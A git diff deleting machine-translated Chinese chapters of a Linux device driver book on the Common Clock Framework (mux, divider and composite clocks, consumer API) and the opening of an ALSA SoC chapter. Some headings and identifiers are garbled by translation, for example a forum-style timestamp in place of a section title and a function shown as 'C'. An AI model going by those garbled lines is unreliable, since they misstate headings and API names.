--`CLK_MUX_READ_ONLY`:某些平台具有只读时钟多路复用器,这些时钟多路复用器是在重置时预先配置的,在运行时不能更改。 - - --`CLK_MUX_ROUND_CLOSEST`:该标志使用最接近所需频率的父速率。 - -* 如果提供了`lock`,则用于保护对寄存器的访问。 - -用于注册这样的时钟的 CCF 助手是`clk_hw_register_mux()`。 如下所示: - -```sh -struct clk_hw * -    clk_hw_register_mux(struct device *dev, const char *name, -                        const char * const *parent_names, -                        u8 num_parents, unsigned long flags, -                        void iomem *reg, u8 shift, u8 width, -                        u8 clk_mux_flags, spinlock_t *lock) -``` - -在描述多路复用时钟结构时,介绍了前面注册接口中的一些参数。 其余参数如下: - -* `parent_names`:这是描述所有可能的父时钟的字符串数组。 -* `num_parents`:指定父时钟数。 - -在注册这样的时钟时,根据是否设置了`CLK_MUX_READ_ONLY`标志,CCF 分配不同的时钟操作。 如果设置,则使用`clk_mux_ro_ops`。 此时钟操作仅实现`.get_parent`操作,因为没有方法来更改父级。 如果未设置,则使用`clk_mux_ops`。 此操作实现`.get_parent`、`.set_parent`和`.determine_rate`,如下所示: - -```sh -if (clk_mux_flags & CLK_MUX_READ_ONLY) -    init.ops = &clk_mux_ro_ops; -else -    init.ops = &clk_mux_ops; -``` - -这些时钟操作定义如下: - -```sh -const struct clk_ops clk_mux_ops = { -    .get_parent = clk_mux_get_parent, -    .set_parent = clk_mux_set_parent, -    .determine_rate = clk_mux_determine_rate, -}; -EXPORT_SYMBOL_GPL(clk_mux_ops); -const struct clk_ops clk_mux_ro_ops = { -    .get_parent = clk_mux_get_parent, -}; -EXPORT_SYMBOL_GPL(clk_mux_ro_ops); -``` - -在前面的代码中,有一个`.table`字段。 这用于根据父索引提供一组值。 但是,前面的注册接口`clk_hw_register_mux()`并没有为我们提供任何提供该表的方式。 - -因此,CCF 中有另一个变量允许我们通过该表: - -```sh -struct clk * -    clk_register_mux_table(struct device *dev,                            const char *name, -                           const char **parent_names,                            u8 num_parents, -                           unsigned long flags,                            void iomem *reg, u8 shift, u32 mask, -u8 clk_mux_flags, u32 *table, spinlock_t *lock); -``` - -接口寄存器多路复用器,通过表控制不规则时钟。 无论注册接口是什么,都使用相同的内部操作。 现在,让我们特别关注最重要的几个,即`.set_parent`和`.get_parent`: - -* `clk_mux_set_parent`:调用此函数时,如果`table`不是`NULL`,则它从`table`中的索引获取寄存器值。 如果`table`为`NULL`并且设置了`CLK_MUX_INDEX_BIT`标志,则这意味着寄存器值是根据`index`的 2 的幂。 然后使用`val = 1 << index`获得该值;如果设置了`CLK_MUX_INDEX_ONE`,则该值加 1。 如果`table`为`NULL`且未设置`CLK_MUX_INDEX_BIT`,则将`index`用作默认值。 在这两种情况下,最终值在`shift`时左移,并在我们获得实际值之前与掩码进行 OR 运算。 应写入`reg`以进行亲本选择: - - ```sh - unsigned int -    clk_mux_index_to_val(u32 *table, unsigned int flags,                         u8 index) - { -     unsigned int val = index; -     if (table) { -         val = table[index]; -     } else { -         if (flags & CLK_MUX_INDEX_BIT) -             val = 1 << index; -         if (flags & CLK_MUX_INDEX_ONE) val++; -     } -     return val; - } - static int clk_mux_set_parent(struct clk_hw *hw,                               u8 index) - { -     struct clk_mux *mux = to_clk_mux(hw); -     u32 val = -         clk_mux_index_to_val(mux->table, mux->flags,                             index); -     unsigned long flags = 0; u32 reg; -     if (mux->lock) -         spin_lock_irqsave(mux->lock, flags); -     else -         __acquire(mux->lock); -     if (mux->flags & CLK_MUX_HIWORD_MASK) { -         reg = mux->mask << (mux->shift + 16); -     } else { -         reg = clk_readl(mux->reg); -         reg &= ~(mux->mask << mux->shift); -     } -     val = val << mux->shift; reg |= val; -     clk_writel(reg, mux->reg); -     if (mux->lock) -         spin_unlock_irqrestore(mux->lock, flags); -     else -         __release(mux->lock); -     return 0; - } - ``` - -* `clk_mux_get_parent`:这将读取`reg`中的值,将其`shift`时间右移,并在获得实际值之前对其应用(AND 运算)`mask`。 然后将该值提供给`clk_mux_val_to_index()`帮助器,该帮助器将根据`reg`值返回正确的索引。 `clk_mux_val_to_index()`首先获取给定时钟的父级数。 如果`table`不是`NULL`,则使用该数字作为循环中遍历`table`的上限。 每次迭代将检查当前位置处的`table`值是否与`val`匹配。 如果是,则返回迭代中的当前位置。 如果未找到匹配项,则返回错误。 `ffs()`返回字中设置的第一个(最低有效)位的位置: - - ```sh - int clk_mux_val_to_index(struct clk_hw *hw, u32 *table, -                          unsigned int flags,                          unsigned int val) - { -     int num_parents = clk_hw_get_num_parents(hw); -     if (table) { -         int i; -         for (i = 0; i < num_parents; i++) -             if (table[i] == val) -                 return i; -         return -EINVAL; -     } -     if (val && (flags & CLK_MUX_INDEX_BIT)) -         val = ffs(val) - 1; -     if (val && (flags & CLK_MUX_INDEX_ONE)) -         val--; -     if (val >= num_parents) -         return -EINVAL; -     return val; - } - EXPORT_SYMBOL_GPL(clk_mux_val_to_index); - static u8 clk_mux_get_parent(struct clk_hw *hw) - { -     struct clk_mux *mux = to_clk_mux(hw); -     u32 val; -     val = clk_readl(mux->reg) >> mux->shift; -     val &= mux->mask; -     return clk_mux_val_to_index(hw, mux->table,                                 mux->flags, val); - } - ``` - -这样的驱动器的示例可以在`drivers/clk/microchip/clk-pic32mzda.c`中找到。 - -#### 基于 I2C/SPI 的时钟复用器 - -前述用于处理时钟多路复用的 CCF 接口假定控制是通过 MMIO 寄存器提供的。 但是,有些基于 I2C/SPI 的时钟多路复用器芯片必须依赖低电平`clk_hw`(使用基于`clk_hw_register()`寄存器的接口)接口,并根据每个时钟的属性注册每个时钟,然后才能提供适当的操作。 - -每个多路复用器输入时钟都应该是多路复用器输出的父时钟,多路复用器输出必须至少有`.set_parent`和`.get_parent`个操作。 其他操作也是允许的,但不是强制性的。 一个具体的例子是 Silicon Labs 的`Si5351a/b/c`可编程 I2C 时钟发生器的 Linux 驱动,可在内核源代码的`drivers/clk/clk-si5351.c`中找到。 它的设备树绑定在`Documentation/devicetree/bindings/clock/silabs,si5351.txt`中可用。 - -重要音符 - -要编写这样的时钟驱动,您必须了解`clk_hw_register_mux`是如何实现的,并基于 yo 您的注册函数,而不是 MMIO/Spinlock 部分,然后根据时钟的属性提供您自己的操作。 - -#### GPIO 多路复用器时钟替代方案 - -GPIO 多路复用器时钟可以用表示如下: - -![Figure 4.2 – GPIO mux clock ](img/Figure_4.2_B10985.jpg) - -图 4.2-GPIO 复用器时钟 - -对于仅接受两个父级的时钟多路复用而言,这是一种有限的替代方案,如`drivers/clk/clk-gpio.c`中提供的以下驱动器摘录所述。 在这种情况下,父选择取决于正在使用的 GPIO 的值: - -```sh -struct clk_hw *clk_hw_register_gpio_mux(struct device *dev, -                                   const char *name, -                                   const char *                                    const *parent_names, -                                   u8 num_parents, -                                   struct gpio_desc *gpiod, -                                   unsigned long flags) -{ -    if (num_parents != 2) { -        pr_err('mux-clock %s must have 2 parents\n', name); -        return ERR_PTR(-EINVAL); -    } -    return clk_register_gpio(dev, name, parent_names,                              num_parents, -                             gpiod, flags, &clk_gpio_mux_ops); -} -EXPORT_SYMBOL_GPL(clk_hw_register_gpio_mux); -``` - -根据其绑定,它只能在设备树中实例化。 这个绑定可以在内核源代码的`Documentation/devicetree/bindings/clock/gpio-mux-clock.txt`中找到。 以下示例显示如何使用它: - -```sh -clocks { -    /* fixed clock oscillators */ -    parent1: oscillator22 { -        compatible = 'fixed-clock'; -        #clock-cells = <0>; -        clock-frequency = <22579200>; -    }; -    parent2: oscillator24 { -        compatible = 'fixed-clock'; -        #clock-cells = <0>; -        clock-frequency = <24576000>; -    }; -    /* gpio-controlled clock multiplexer */ -    mux: multiplexer { -        compatible = 'gpio-mux-clock'; -        clocks = <&parent1>, <&parent2>; -        /* parent clocks */ -        #clock-cells = <0>; -        select-gpios = <&gpio 42 GPIO_ACTIVE_HIGH>; -    }; -}; -``` - -这里,我们看了一下时钟多路复用器,它允许我们从 API 和设备树绑定中选择时钟源。 此外,我们还引入了基于 GPIO 的时钟多路复用器替代方案,它不需要我们编写任何代码。 本系列中的下一个 c 锁类型是分频器时钟,顾名思义,它将父速率除以给定的比率。 - -### (可调)分频器时钟及其操作 - -这种类型的时钟对父速率进行分频,不能选通。 由于您可以设置分频器比率,因此必须提供`.recalc_rate`/`.set_rate`/`.round_rate`回调。 时钟分频器在内核中表示为`struct clk_divider`的实例。 这可以定义为: - -```sh -struct clk_divider { -    struct clk_hw  hw; -    void iomem *reg; -    u8 shift; -    u8 width; -    u8 flags; -    const struct clk_div_table *table; -    spinlock_t *lock; -}; -#define to_clk_divider(_hw) container_of(_hw,                                          struct clk_divider,                                          hw) -``` - -让我们来看看这个结构中的元素: - -* `hw`:定义提供程序端的底层`clock_hw`结构。 -* `reg`:这是控制时钟分频比的寄存器。 默认情况下,实际分频器值是寄存器值加 1。 如果有其他例外,可以参考`flags`字段描述进行适配。 -* `shift`:这控制寄存器中分频比位的偏移量。 -* `width`:这是分频器位字段的宽度。 它控制分频比的位数。 例如,如果`width`是 4,这意味着分频比被编码在 4 比特上。 -* `flags`: This is the divider-clock-specific flag of the clock. Various flags can be used here, some of which are as follows: - - --`CLK_DIVIDER_ONE_BASED`:设置时,这意味着除数是从寄存器读取的原始值,因为默认除数是从寄存器读取的值加 1。 这也意味着 0 无效,除非设置了`CLK_DIVIDER_ALLOW_ZERO`标志。 - - --`CLK_DIVIDER_ROUND_CLOSEST`:当我们希望能够将分隔符舍入到最接近且计算得最好的分隔符时,而不是仅四舍五入(默认行为)时,应使用此选项。 - - --`CLK_DIVIDER_POWER_OF_TWO`:实际分频器值为 2 的幂的寄存器值。 - - --`CLK_DIVIDER_ALLOW_ZERO`:分频器值可以为 0(不变,取决于硬件支持)。 - - --`CLK_DIVIDER_HIWORD_MASK`:有关此标志的更多详细信息,请参阅*可选通时钟及其操作*部分。 - - --`CLK_DIVIDER_READ_ONLY`:该标志表示时钟有预先配置的设置,并指示框架不要更改任何内容。 此标志还会影响已分配给时钟的操作。 - - `CLK_DIVIDER_MAX_AT_ZERO`:这允许时钟分频器在设置为零时具有最大除数。 因此,如果字段值为零,则除数值的宽度应为 2 位。 例如,让我们考虑一个具有 2 位字段的除数时钟: - - ```sh - Value divisor - 0 4 - 1 1 - 2 2 - 3 3 - ``` - -* `table`:这是一个值/分隔符对的数组,其最后一个条目应为`div = 0`。 我们将很快对此进行描述。 -* `lock`:与其他时钟数据结构一样,如果提供,它用于保护对寄存器的访问。 -* `clk_hw_register_divider()`:这是此类时钟最常用的注册接口。 其定义如下: - -```sh -struct clk_hw * -    clk_hw_register_divider(struct device *dev, -                            const char *name,                             const char *parent_name, -                            unsigned long flags,                             void iomem *reg, -                            u8 shift, u8 width,                             u8 clk_divider_flags, -                            spinlock_t *lock) -``` - -此函数向系统注册分频器时钟,并返回指向底层`clk_hw`字段的指针。 在这里,您可以使用`to_clk_divider`宏来获取指向包装器的`clk_divider`结构的指针。 除了分别表示时钟名称和父级名称的`name`和`parent_name`之外,此函数中的其他参数都与`struct clk_divider`结构中描述的字段匹配。 - -您可能已经注意到,这里没有使用`.table`字段。 此字段有些特殊,因为它用于分频比不常见的时钟分频器。 实际上,存在时钟分频器,其中每条单独的时钟线具有多个与彼此的时钟线无关的分频比。 有时,每个比率与寄存器值之间甚至没有任何线性关系。 对于这种情况,最好的解决方案是为每条时钟线提供一个表,其中每个比率对应于其寄存器值。 这需要我们引入一个新的注册接口来接受这样的表;即`clk_hw_register_divider_table`。 这可以定义为: - -```sh -struct clk_hw * -     clk_hw_register_divider_table(                            struct device *dev, -                            const char *name,                             const char *parent_name, -                            unsigned long flags,                             void iomem *reg, -                            u8 shift, u8 width,                             u8 clk_divider_flags, -                            const struct clk_div_table *table, -                            spinlock_t *lock) -``` - -与前面的接口相比,该接口用于寄存具有不规则分频比的时钟。 区别 I 在于分频器的值和寄存器的值之间的关系由`struct clk_div_table`类型的表确定。 此表结构可以定义如下: - -```sh -struct clk_div_table { -    unsigned int val; -    unsigned int div; -}; -``` - -在前面的代码中,`val`表示寄存器值,而`div`表示分频比。 它们的关系也可以通过使用`clk_divider_flags`来更改。 无论使用什么寄存器接口,`CLK_DIVIDER_READ_ONLY`标志确定要分配给时钟的操作,如下所示: - -```sh -if (clk_divider_flags & CLK_DIVIDER_READ_ONLY) -    init.ops = &clk_divider_ro_ops; -else -    init.ops = &clk_divider_ops; -``` - -这两个时钟操作都在`drivers/clk/clk-divider.c`中定义,如下所示: - -```sh -const struct clk_ops clk_divider_ops = { -    .recalc_rate = clk_divider_recalc_rate, -    .round_rate = clk_divider_round_rate, -    .set_rate = clk_divider_set_rate, -}; -EXPORT_SYMBOL_GPL(clk_divider_ops); -const struct clk_ops clk_divider_ro_ops = { -    .recalc_rate = clk_divider_recalc_rate, -    .round_rate = clk_divider_round_rate, -}; -EXPORT_SYMBOL_GPL(clk_divider_ro_ops); -``` - -前者可以设置时钟频率,而后者不能。 - -重要音符 - -同样,到目前为止,使用内核提供的依赖于时钟类型的注册接口要求您的时钟是 MMIO。 为非基于 MMIO(SPI 或 I2C)的时钟实现这样的时钟驱动器需要使用低电平`hw_clk`寄存器接口并实现适当的操作。 在`drivers/clk/clk-max9485.c`中可以找到用于基于 I2C 的时钟的这种驱动器的示例,以及所实现的适当操作 c。 它的绑定可以在`Documentation/devicetree/bindings/clock/maxim,max9485.txt`中找到。 这是一个比分频器更具可调性的时钟驱动器。 - -可调节的时钟对我们来说再也没有秘密了。 已经描述了它的 API 和操作,以及它是如何处理不规则比率的。 接下来,我们来看一下最后的时钟类型,它混合了我们到目前为止看到的所有时钟类型:复合时钟。 - -### 复合钟及其运算 - -此时钟用于组合使用多路复用器、分频器和门组件的时钟分支。 大多数 RockChip SoC 都是这种情况。 时钟框架通过`struct clk_composite`对这些时钟进行抽象,如下所示: - -```sh -struct clk_composite { -    struct clk_hw hw; -    struct clk_ops ops; -    struct clk_hw *mux_hw; -    struct clk_hw *rate_hw; -    struct clk_hw *gate_hw; -    const struct clk_ops *mux_ops; -    const struct clk_ops *rate_ops; -    const struct clk_ops *gate_ops; -}; -#define to_clk_composite(_hw) container_of(_hw,                                           struct clk_composite,                                          hw) -``` - -此数据结构中的字段非常简单明了,如下所示: - -* 与其他时钟结构一样,`hw`是公共接口和硬件特定接口之间的句柄。 -* `mux_hw`表示多路复用器时钟。 -* `rate_hw`表示分频器时钟。 -* `gate_hw`表示门控时钟。 -* `mux_ops`、`rate_ops`和`gate_ops`分别是多路复用器、速率和门的时钟操作。 - -这样的时钟可以通过以下接口注册: - -```sh -struct clk_hw *clk_hw_register_composite( -             struct device *dev, const char *name, -             const char * const *parent_names, int num_parents, -             struct clk_hw *mux_hw,              const struct clk_ops *mux_ops, -             struct clk_hw *rate_hw,              const struct clk_ops *rate_ops, -             struct clk_hw *gate_hw,              const struct clk_ops *gate_ops, -             unsigned long flags) -``` - -这看起来可能有点复杂,但是如果您看过上一个时钟,这个时钟将或多或少地对您来说是显而易见的。 请看内核源代码中的`drivers/clk/sunxi/clk-a10-hosc.c`,以获得复合时钟驱动的示例。 - -## 将其整合在一起-全球概述 - -如果你还不明白,那就看看下面的图表吧: - -![Figure 4.3 – Clock tree example ](img/Figure_4.3_B10985.jpg) - -图 4.3-时钟树示例 - -前面的时钟树显示了为三个 PLL(即`pll1`、`pll2`和`pll3`)供电的振荡器时钟以及一个多路复用器。 根据多路复用器(MUX),可以从`pll2`、`pll3`或`osc`时钟导出`hw3_clk`。 - -以下设备树摘录可用于模拟前面的时钟树: - -```sh -osc: oscillator { -    #clock-cells = <0>; -    compatible = 'fixed-clock'; -    clock-frequency = <20000000>; -    clock-output-names = 'osc20M'; -}; -pll2: pll2 { -    #clock-cells = <0>; -    compatible = 'abc123,pll2-clock'; -    clock-frequency = <23000000>; clocks = <&osc>; -    [...] -}; -pll3: pll3 { -    #clock-cells = <0>; -    compatible = 'abc123,pll3-clock'; -    clock-frequency = <23000000>; clocks = <&osc>; -    [...] -}; -hw3_clk: hw3_clk { -    #clock-cells = <0>; -    compatible = 'abc123,hw3-clk'; -    clocks = <&pll2>, <&pll3>, <&osc>; -    clock-output-names = 'hw3_clk'; -}; -``` - -说到源代码,下面的摘录显示了如何将`hw_clk3`注册为多路复用器(时钟多路复用器),并指出了`pll2`、`pll3`和`osc`的父关系: - -```sh -of_property_read_string(node, 'clock-output-names', &clk_name); -parent_names[0] = of_clk_get_parent_name(node, 0); -parent_names[1] = of_clk_get_parent_name(node, 1); -parent_names[2] = of_clk_get_parent_name(node, 2); /* osc */ -clk = clk_register_mux(NULL, clk_name, parent_names,   -                       ARRAY_SIZE(parent_names), 0, regs_base, -                       offset_bit, one_bit, 0, NULL); -``` - -下游时钟提供程序应使用`of_clk_get_parent_name()`获取其父时钟名称。 对于具有多个输出的块,`of_clk_get_parent_name()`可以返回有效的时钟名称,但仅当存在`clock-output-names`属性时才能返回。 - -现在,我们可以通过 CCF*sysfs*接口`/sys/kernel/debug/clk/clk_summary`查看时钟树摘要。 这一点可以在下面的摘录中看到: - -```sh -$ mount -t debugfs none /sys/kernel/debug -# cat /sys/kernel/debug/clk/clk_summary -[...] -``` - -到此为止,我们已经完成了时钟制造商这一方面的工作。 我们已经了解了它的 API,并在设备树中讨论了它的 d 说明。 此外,我们还了解了如何从*sysfs*转储它们的拓扑。 现在,让我们来看看时钟消费者 API。 - -时钟消费者 API 简介 - -如果没有另一端的消费者来利用已暴露的时钟线,时钟生产者设备驱动就毫无用处。 这种驱动器的主要目的是将它们的时钟源线分配给消费者。 然后,这些时钟线用于多种目的,Linux 内核提供相应的 API 和帮助器来实现所需的目标。 消费者驱动需要在其代码中包含``,才能使用其 API。 此外,如今,时钟消费者接口完全依赖于设备树,这意味着应该从设备树中为消费者分配他们需要的时钟。 使用者绑定应该遵循提供者的绑定,因为使用者说明符是由提供者的`#clock-cells`属性确定的。 请看下面的 UART 节点描述,它需要两条时钟线: - -```sh -uart1: serial@02020000 { -    compatible = 'fsl,imx6sx-uart', 'fsl,imx21-uart'; -    reg = <0x02020000 0x4000>; -    interrupts = ; -    clocks = <&clks IMX6SX_CLK_UART_IPG>, -             <&clks IMX6SX_CLK_UART_SERIAL>; -    clock-names = 'ipg', 'per'; -    dmas = <&sdma 25 4 0>, <&sdma 26 4 0>; -    dma-names = 'rx', 'tx'; -    status = 'disabled'; -}; -``` - -这表示具有两个时钟输入的器件。 前面的节点摘录允许我们介绍时钟使用者的设备树绑定,它至少应该具有以下属性: - -* `clocks`属性是您应该根据提供程序的`#clock-cells`属性指定设备的源时钟线的位置。 -* `clock-names` is the property used to name clocks in the same way they are listed in `clocks`. In other words, this property should be used to list the input name(s) for the clock(s) with respect to the consuming node. This name(s) should reflect the consumer input signal name(s) and can/must be used in the code (see `[devm_]clk_get()`) so that it matches the corresponding clock. - - 重要音符 - - 时钟使用者节点绝不能直接引用提供者的`clock-output-names`属性。 - -消费者具有基于底层硬件时钟的任何精简且可移植的 API。 接下来,我们将看看消费者驱动执行的常见操作,以及及其相关 API。 - -## 抓取和释放时钟 - -下列函数允许我们在给定时钟`id`的情况下捕获和释放时钟: - -```sh -struct clk *clk_get(struct device *dev, const char *id); -void clk_put(struct clk *clk); -struct clk *C(struct device *dev, const char *id) -``` - -`dev`是使用此时钟的设备,而`id`是在设备树中为时钟指定的名称。 如果成功,`clk_get`将返回指向`struct clk`的指针。 这可以提供给任何其他`clk-consumer`API。 `clk_put`实际上释放了时钟线。 前面代码中的前两个 API 在`drivers/clk/clkdev.c`中定义。 但是,在`drivers/clk/clk.c`中定义了其他时钟消费者 API。 `devm_clk_get`只是`clk_get`的托管版本。 - -## 准备/取消准备时钟 - -要准备好时钟以供使用,您可以使用`clk_prepare()`,如下所示: - -```sh -void clk_prepare(struct clk *clk); -void clk_unprepare(struct clk *clk); -``` - -这些函数可能处于休眠状态,这意味着它们不能从原子上下文中调用。 总是在`clock_enable()`之前调用`clk_prepare()`是值得的。 如果底层时钟在 SLOw 总线(SPI/I2C)之后,这可能是有用的,因为这样的 clock 驱动器必须从准备/取消准备操作(其被允许休眠)内实现它们的使能/禁用(不能休眠)代码。 - -启用/禁用 - -当您需要选通/取消选通时钟时,可以使用以下接口: - -```sh -int clk_enable(struct clk *clk); -void clk_disable(struct clk *clk); -``` - -`clk_enable`不得休眠,并实际打开时钟。 如果成功则返回 0,否则返回错误。 `clk_disable`则相反。 为了强制在调用 Enable 之前调用 Prepare 这一事实,时钟框架提供了`clk_prepare_enable`API,该 API 在内部调用两者。 相反,使用`clk_disable_unprepare`可以做到这一点: - -```sh -int clk_prepare_enable(struct clk *clk) -void clk_disable_unprepare(struct clk *clk) -``` - -## 速率函数 - -对于速率可以更改的时钟,可以使用以下函数获取/设置时钟速率: - -```sh -unsigned long clk_get_rate(struct clk *clk); -int clk_set_rate(struct clk *clk, unsigned long rate); -long clk_round_rate(struct clk *clk, unsigned long rate); -``` - -`clk_get_rate()`如果`clk`为`NULL`,则返回 0;否则,它将返回时钟速率,即缓存速率。 但是,如果设置了`CLK_GET_RATE_NOCACHE`标志,则将进行新的计算(通过`recalc_rate()`)以返回实际时钟频率。 另一方面,`clk_set_rate()`将设置时钟的速率。 但是,它的 rate 参数不能取任何值。 要查看时钟是否支持或允许您的目标速率,您应该使用`clk_round_rate()`,以及时钟指针和目标速率(以 Hz 为单位),如下所示。 - -```sh -rounded_rate = clk_round_rate(clkp, target_rate); -``` - -这是必须赋给`clk_set_rate()`的`clk_round_rate(`的返回值,如下所示: - -```sh -ret = clk_set_rate(clkp, rounded_rate); -``` - -在以下情况下,更改时钟频率可能会失败: - -* 时钟从固定速率时钟源(例如,`OSC0`、`OSC1`、`XREF`等)提取其源。 -* 时钟被多个模块/子模块使用,这意味着`usecount`大于 1。 -* 多个子级正在使用时钟源。 - -请注意,如果未实现`.round_rate()`,则返回父费率。 - -## 父函数 - -有些时钟是其他时钟的子时钟,因此创建了父/子关系。 要获取/设置给定时钟的父时钟,可以使用以下函数: - -```sh -int clk_set_parent(struct clk *clk, struct clk *parent); -struct clk *clk_get_parent(struct clk *clk); -``` - -`clk_set_parent()`实际设置给定时钟的父时钟,而`clk_get_parent()`返回当前父时钟。 - -## 把这一切放在一起 - -要总结这一点,请看下面的 i.MX 串行驱动(`drivers/tty/serial/imx.c`)的节选,它处理前面的设备节点: - -```sh -sport->clk_per = devm_clk_get(&pdev->dev, 'per'); -if (IS_ERR(sport->clk_per)) { -    ret = PTR_ERR(sport->clk_per); -    dev_err(&pdev->dev, 'failed to get per clk: %d\n', ret); -    return ret; -} -sport->port.uartclk = clk_get_rate(sport->clk_per); -/* * For register access, we only need to enable the ipg clock. */ -ret = clk_prepare_enable(sport->clk_ipg); -if (ret) -    return ret; -``` - -在前面的代码摘录中,我们可以看到驱动如何抓取时钟及其当前速率,然后使能它。 - -简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,我们介绍了 Linux 公共时钟框架。 我们介绍了提供商和消费者端,以及用户空间界面。 然后我们讨论了不同的时钟类型,并学习了如何为每种类型编写合适的 Linux 驱动。 - -下一章将介绍 ALSA SoC,这是一个用于音频的 Linux 内核框架。 例如,该框架严重依赖时钟框架来采样音频。** \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/05.md b/docs/master-linux-device-driver-dev/05.md deleted file mode 100644 index d744d32f..00000000 --- a/docs/master-linux-device-driver-dev/05.md +++ /dev/null @@ -1,1336 +0,0 @@ -# 五、ALSA SoC 框架——利用编解码器和平台类驱动 - -音频是一种模拟现象,可以通过各种方式产生。 自人类诞生以来,语音和音频就一直是沟通的媒介。 几乎每个内核都为用户空间应用提供音频支持,作为计算机和人类之间的交互机制。 为了实现这一点,Linux 内核提供了一组 API,称为**ALSA**,它代表**高级 Linux 声音体系结构**。 - -ALSA 是为台式计算机设计的,没有考虑嵌入式世界的限制。 在处理嵌入式设备时,这增加了很多缺点,例如: - -* 编解码器和 CPU 代码之间强耦合,导致移植和代码复制困难。 -* 没有标准的方式来处理有关用户音频相关行为的通知。 在移动场景中,用户的音频相关行为频繁,需要特殊的机制。 -* 在最初的 ALSA 架构中,没有考虑功率效率。 但对于嵌入式设备(大多数时候是电池供电的),这是一个关键点,因此需要有一种机制。 - -这就是 ASOC 的用武之地。 **ALSA 片上系统**(**ASOC**)层的目的是为嵌入式处理器和各种编解码器提供更好的 ALSA 支持。 - -ASOC 是为解决上述问题而设计的一种新架构,具有以下优点: - -* 独立的编解码器驱动,以减少与 CPU 的耦合 -* 更方便地配置中央处理器和编解码器之间的音频数据接口**动态音频电源管理**(**DAPM**),动态控制功耗(更多信息可在此处找到:[https://www.kernel.org/doc/html/latest/sound/soc/dapm.html](https://www.kernel.org/doc/html/latest/sound/soc/dapm.html)) -* 减少了弹出和点击,增加了与平台相关的控件 - -为了实现上述功能,ASOC 将嵌入式音频系统分为三个可重用组件驱动,即**机器类**、**平台类**和**编解码器类**。 其中,平台类和编解码器类是*跨平台*,机器类是*板卡*特定的。 在本章和下一章中,我们将介绍这些组件驱动,处理它们各自的数据结构以及它们是如何实现的。 - -在这里,我们将介绍 Linux ASOC 驱动体系结构及其不同部分的实现,特别关注以下内容: - -* ASOC 简介 -* 编写编解码器类驱动 -* 写入平台类 DR 服务器 - -# 技术要求 - -* 对设备树概念有扎实的了解 -* 熟悉**公共时钟框架**(**CCF**)(在[*第 4 章*](04.html#_idTextAnchor047)*、**冲击公共时钟框架*中讨论) -* 熟悉 regmap API -* 精通 Linux 内核 DMA 框架 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# ASOC 简介 - -从体系结构的观点来看,ASOC 子系统元素及其关系可以表示如下: - -![Figure 5.1 – ASoC architecture ](img/Figure_5.1_B10985.jpg) - -图 5.1-ASOC 体系结构 - -上图总结了新的 ASOC 体系结构,在该体系结构中,机器实体包装了平台实体和编解码器实体。 - -在内核 v4.18 之前的 ASOC 实现中,SoC 音频编解码器设备(现在用`struct snd_soc_codec`表示)和 SoC 平台接口(用`struct snd_soc_platform`表示)及其各自的数字音频接口之间有严格的分离。 然而,编解码器、平台和其他组件之间的相似代码越来越多。 这导致了一种新的通用方法,即**组件**的概念。 所有的驱动都被移到了这个新的通用组件上,平台代码被移除了,所有的东西都被重构了,所以现在我们只谈论`struct snd_soc_component`(可能指编解码器或平台)和`struct snd_soc_component_driver`(指的是它们各自的音频接口 driver)。 - -现在我们已经介绍了 ASOC 的概念,我们可以更深入地了解细节,首先讨论数字音频接口。 - -## 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 - -**数字音频接口**(**DAI**)是总线控制器,它实际将音频数据从一端(例如 SoC)传送到另一端(编解码器)。 ASOC 目前支持当今 SoC 控制器和便携式音频编解码器上的大多数 DAI,例如 AC97、I2S、PCM、S/PDIF 和 TDM。 - -重要音符 - -I2S 模块支持六种不同的模式,其中最有用的是 I2S a 和 TDM。 - -## ASOC 子元素 - -正如我们在前面看到的,ASOC 系统分为三个元素,每个元素都有一个专用驱动器,如下所述: - -* **Platform**: This refers to the audio DMA engine of the SoC (AKA the platform), such as i.MX, Rockchip, and STM32\. Platform class drivers can be subdivided into two parts: - - --**CPU DAI 驱动**:在嵌入式系统中,通常指的是 CPU 的音频总线控制器(I2S、S/PDIF、AC97 和 PCM 总线控制器,有时集成到一个更大的模块中,即**串行音频接口**(**SAI**))。 它负责在回放时将音频数据从总线 Tx FIFO 传输到编解码器(录制方向相反,从编解码器到总线 Rx FIFO)。 平台驱动定义 DAI 并将它们注册到 ASOC 内核。 - - --**PCM DMA 驱动**:PCM 驱动通过覆盖`struct snd_soc_component_driver`(参见`struct snd_pcm_ops`元素)结构公开的函数指针来帮助执行 DMA 操作。 PCM 驱动与平台无关,仅与 SOC DMA 引擎上游 API 交互。 然后,DMA 引擎与平台特定的 DMA 驱动交互,以获得正确的 DMA 设置。 - - 它负责将**DMA 缓冲器**中的音频数据传送到总线(或端口)Tx FIFO。 这部分的逻辑比较复杂。 接下来的几节将详细说明这一点。 - -* **编解码器**:编解码器字面意思是编解码器,但是芯片中有很多功能。 常见的有 AIF、DAC、ADC、混频器、PGA、线路输入和线路输出。 一些高端编解码器芯片还具有回声消除器、噪声抑制和其他组件。 编解码器负责将来自声源的模拟信号转换为处理器可以操作的数字信号(用于捕获操作),或者将来自声源(CPU)的数字信号转换为回放时人类可以识别的模拟信号。 如果需要,它对音频信号进行相应的调整,并控制音频信号之间的路径,因为芯片中的每个音频信号可能有不同的流动路径。 -* **Machine**:这是系统级表示(实际上是单板),链接两个音频接口(`cpu_dai`和`codec_dai`)。 该链接在内核中由`struct snd_soc_dai_link`的实例抽象。 在配置链接之后,机器驱动注册(通过`devm_snd_soc_register_card()`)一个`struct snd_soc_card`对象,该对象是声卡的 Linux 内核抽象。 虽然平台和编解码器驱动通常是可重用的,但机器有其几乎不可重用的特定硬件功能。 所谓硬件特性,是指 DAI 之间的链接;通过 GPIO 的开路放大器;通过 GPIO 检测插件;使用 MCLK/EVERENT OSC 等时钟作为 I2S 编解码模块的参考时钟源等。 - -根据前面的描述,我们可以产生以下 ASOC 方案及其关系: - -![Figure 5.2 – Linux audio layers and relationships ](img/Figure_5.2_B10985.jpg) - -图 5.2-Linux 音频层和关系 - -上图是 Linux 内核音频组件之间交互的快照。 既然我们已经熟悉了 ASOC 概念,我们就可以继续讨论 ITS 第一个设备驱动类,它处理编解码器设备。 - -# 编写编解码器类驱动 - -为了耦合在一起,机器、平台和编解码器实体需要专用的驱动。 编解码器类驱动是最基本的。 它实现了应该利用编解码器设备并公开其硬件属性的代码,以便用户空间工具(如`amixer`)可以使用它。 编解码器类驱动是并且应该是独立于平台的。 